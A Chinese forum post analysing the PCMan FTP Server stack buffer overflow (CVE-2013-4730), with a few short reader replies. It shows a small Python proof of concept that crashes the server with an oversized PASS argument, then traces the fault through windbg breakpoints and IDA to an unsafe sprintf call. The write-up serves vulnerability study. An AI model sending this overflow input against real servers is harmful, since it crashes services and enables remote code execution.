首页
社区
课程
招聘
[分享][原创]PCMan FTP远程代码执行漏洞分析(CVE-2013-4730)
发表于: 2017-4-14 23:06 5925

[分享][原创]PCMan FTP远程代码执行漏洞分析(CVE-2013-4730)

2017-4-14 23:06
5925

前言

刚转入二进制不久,拿网上大牛写过的帖子练手,发现网上方法:突破点都是在IDA中搜索recv,然后下断点,跟踪到异常处,发现触发漏洞地方。但是大部分我们分析漏洞程序,很难有这种,一开始就知道在关键函数下断点,等待断点触发的。大部分还是从POC异常触发点,然后一步一步回溯逆向到引发漏洞的关键函数的。分享一下不同的角度,感谢15PB给我带来不一样的世界,还记得任老师最后告诫我们的那句话:不要让你的技术超过你的人品。。

漏洞环境搭建与分析

https://www.exploit-db.com/exploits/26471/

环境  WindowsXP下    python 2.7.13

POC

import   socket

s =   socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("127.0.0.1",   21))

s.recv(1024)

User   = 'anonymous'

Password='A'*8000

s.send("USER"   + User + "\r\n")

print   s.recv(1024)

s.send("PASS"   + Password + "\r\n")

print   s.recv(1024)

运行POC,触发漏洞

我们可以看出返回值被AAAA覆盖了,此时的esp之前应该就是返回值,所以我们可以在0012ed6c之前下硬件写入条件断点重新打开windbg 附加PCMan 用windbg下如下命令,此时我们只要关注堆栈返回值上面几处的值是否被覆盖了AAAA,等待断点命中

ba w4 0012ed5c ".if(poi(0012ed5c)=0x41414141){}.else{gc}"

运行POC可以看到在004173af断下,此时我们栈中,已经被A覆盖了大部分,但是返回值还没有被覆盖,我们可以看到


IDA中定位此处的EIP看出此时在write_string函数中,调用write_char函数循环在向栈写内容


我们接着向上回溯看看调用此函数的是谁,windbg单步,或者gu执行到函数返回,在函数回溯过程中发现sprintf函数,F5查看,此时的sprintf函数后面带有%s,所以是有可能发生字符串溢出的



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (5)
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
好帖收藏了,谢谢楼主分享
2017-4-14 23:19
0
雪    币: 32
活跃值: (82)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
学习了,找个时间测试一下
2017-4-15 13:39
0
雪    币: 2231
活跃值: (1078)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
默默的收下了
2017-5-17 10:21
0
雪    币: 224
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
默默的收下了
2017-5-17 14:37
0
雪    币: 9217
活跃值: (1886)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
也在学习这个例子,过来看看
2018-4-13 21:27
0
游客
登录 | 注册 方可回帖
返回
//